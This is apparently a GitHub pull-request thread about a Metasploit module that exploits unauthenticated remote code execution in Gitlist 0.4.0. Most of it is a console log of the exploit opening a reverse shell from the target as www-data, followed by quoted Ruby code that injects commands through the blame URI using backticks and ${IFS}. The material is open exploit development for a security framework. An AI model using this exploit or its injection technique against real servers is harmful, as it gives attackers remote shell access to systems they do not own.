Gitlist 0.4.0 Unauthenticated RCE

You can get the vulnerable version here: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz

Exploit-DB: http://www.exploit-db.com/exploits/33929/

```
msf exploit(gitlist_exec) > show options

Module options (exploit/linux/http/gitlist_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.17     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /gitlist/        yes       The URI od the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.31     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(gitlist_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo DeVoMBnLnS3Tckfm;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "DeVoMBnLnS3Tckfm\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.17:32876) at 2014-06-30 20:13:14 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
I did the same thing in 'exploit'.

I was having a bit of trouble with badchars, but did not do extensive
testing. base64 is lazy encoding.


On Thu, Jul 3, 2014 at 12:52 PM, Juan Vazquez <notifications@github.com>
wrote:

> In modules/exploits/linux/http/gitlist_exec.rb:
>
> > +    })
> > +
> > +    if !res
> > +      fail_with("Server did not respond in an expected way")
> > +    end
> > +
> > +    first = /href="\/gitlist\/(.*)\/"/.match(res.body)
> > +
> > +    if !first or first.length < 2
> > +      fail_with("We don't have a properly configured Gitlist")
> > +    end
> > +
> > +    chk = Rex::Text.encode_base64(Rex::Text.rand_text_alpha(rand(32)+5))
> > +
> > +    res = send_request_cgi({
> > +      'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '%22%22`echo${IFS}' + chk + '|base64${IFS}--decode`')
>
> Forget about the encoders discussion here, just noticed it's the check
> method....
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/rapid7/metasploit-framework/pull/3485/files#r14528202>
> .
>



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website